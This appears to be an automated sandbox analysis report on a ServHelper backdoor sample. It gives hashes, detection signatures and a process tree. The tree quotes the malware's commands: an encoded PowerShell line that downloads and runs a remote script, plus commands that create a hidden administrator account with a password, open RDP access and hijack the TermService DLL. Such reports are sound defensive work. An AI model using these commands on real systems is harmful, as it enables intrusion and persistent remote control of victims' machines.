Analysis

  • max time kernel
    140s
  • max time network
    116s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    23-09-2021 10:58

General

  • Target

    f71c575754e1f5890ad8b35afd08b8be.exe

  • Size

    5.9MB

  • MD5

    f71c575754e1f5890ad8b35afd08b8be

  • SHA1

    69803b96f3820fabd81c79d422a1fa2a72ccb699

  • SHA256

    046f08e500cc9156c4af47a73744ccb060606c77d7a8beb5677aa6ff4d256211

  • SHA512

    32f7fab593c46efe2586825aff79688e4a688735bf950b351fe3bdffc4a9dff01da0b2d4a92acf4d4bd14aac362884bd264beced9e8b82fd3111e8ef8ef31301

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f71c575754e1f5890ad8b35afd08b8be.exe
    "C:\Users\Admin\AppData\Local\Temp\f71c575754e1f5890ad8b35afd08b8be.exe"
    1⤵
    • Modifies system certificate store
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:980
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2028
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ls104fpr\ls104fpr.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:860
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC61B.tmp" "c:\Users\Admin\AppData\Local\Temp\ls104fpr\CSC622CADD0974E4B0DAA56CC5C7D64399.TMP"
          4⤵
            PID:576
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1708
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1988
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1648
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1512
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:912
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1796
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1096
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1984
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:576
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1288
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1756
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1392
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1592
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:788
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:976
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1000
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:904
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1888
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1784
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1872
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1772
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1136
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1376
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1232
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1764
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1388
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user wgautilacc Ghar4f5 /del
                            1⤵
                              PID:1736
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc Ghar4f5 /del
                                2⤵
                                  PID:1700
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                                    3⤵
                                      PID:1016
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user wgautilacc moWz5s4P /add
                                  1⤵
                                    PID:1008
                                    • C:\Windows\system32\net.exe
                                      net.exe user wgautilacc moWz5s4P /add
                                      2⤵
                                        PID:1680
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user wgautilacc moWz5s4P /add
                                          3⤵
                                            PID:1592
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                        1⤵
                                          PID:1760
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                            2⤵
                                              PID:1484
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                                3⤵
                                                  PID:652
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                              1⤵
                                                PID:2040
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                  2⤵
                                                    PID:1732
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                      3⤵
                                                        PID:1288
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                    1⤵
                                                      PID:1028
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                        2⤵
                                                          PID:1900
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                                            3⤵
                                                              PID:748
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user wgautilacc moWz5s4P
                                                          1⤵
                                                            PID:1624
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user wgautilacc moWz5s4P
                                                              2⤵
                                                                PID:1784
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user wgautilacc moWz5s4P
                                                                  3⤵
                                                                    PID:1648
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1000
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:332
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1736
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1888
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1712
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:2040
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1680

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/980-62-0x0000000040EF2000-0x0000000040EF4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/980-64-0x0000000040EF6000-0x0000000040EF7000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/980-63-0x0000000040EF4000-0x0000000040EF6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/980-60-0x0000000041390000-0x00000000417B0000-memory.dmp

                                                                        Filesize

                                                                        4.1MB

                                                                      • memory/980-65-0x0000000040EF7000-0x0000000040EF8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1648-156-0x000000001ACF4000-0x000000001ACF6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1648-155-0x000000001ACF0000-0x000000001ACF2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1680-237-0x000000001963A000-0x0000000019659000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1680-207-0x0000000019634000-0x0000000019636000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1680-206-0x0000000019630000-0x0000000019632000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1708-100-0x0000000002690000-0x0000000002691000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1708-98-0x000000001A9D0000-0x000000001A9D1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1708-102-0x0000000001E90000-0x0000000001E91000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1708-107-0x000000001B920000-0x000000001B921000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1708-121-0x000000001AA60000-0x000000001AA61000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1708-120-0x0000000002780000-0x0000000002781000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1708-96-0x0000000002430000-0x0000000002431000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1708-94-0x000000001AA74000-0x000000001AA76000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1708-93-0x000000001AA70000-0x000000001AA72000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1988-135-0x0000000001FD0000-0x0000000001FD1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1988-129-0x000000001AB74000-0x000000001AB76000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1988-128-0x000000001AB70000-0x000000001AB72000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1988-130-0x0000000002570000-0x0000000002571000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1988-134-0x00000000028D0000-0x00000000028D1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1988-132-0x00000000026B0000-0x00000000026B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2028-83-0x0000000001DC0000-0x0000000001DC1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2028-69-0x000000001AA90000-0x000000001AA91000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2028-68-0x00000000024A0000-0x00000000024A1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2028-157-0x000000001C450000-0x000000001C451000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2028-71-0x000000001A974000-0x000000001A976000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2028-67-0x000007FEFBBB1000-0x000007FEFBBB3000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2028-70-0x000000001A970000-0x000000001A972000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2028-72-0x000000001A920000-0x000000001A921000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2028-87-0x000000001B570000-0x000000001B571000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2028-101-0x000000001A97A000-0x000000001A999000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/2028-73-0x000000001A950000-0x000000001A951000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2028-75-0x000000001B630000-0x000000001B631000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2028-85-0x000000001C340000-0x000000001C341000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2028-86-0x000000001C3C0000-0x000000001C3C1000-memory.dmp

                                                                        Filesize

                                                                        4KB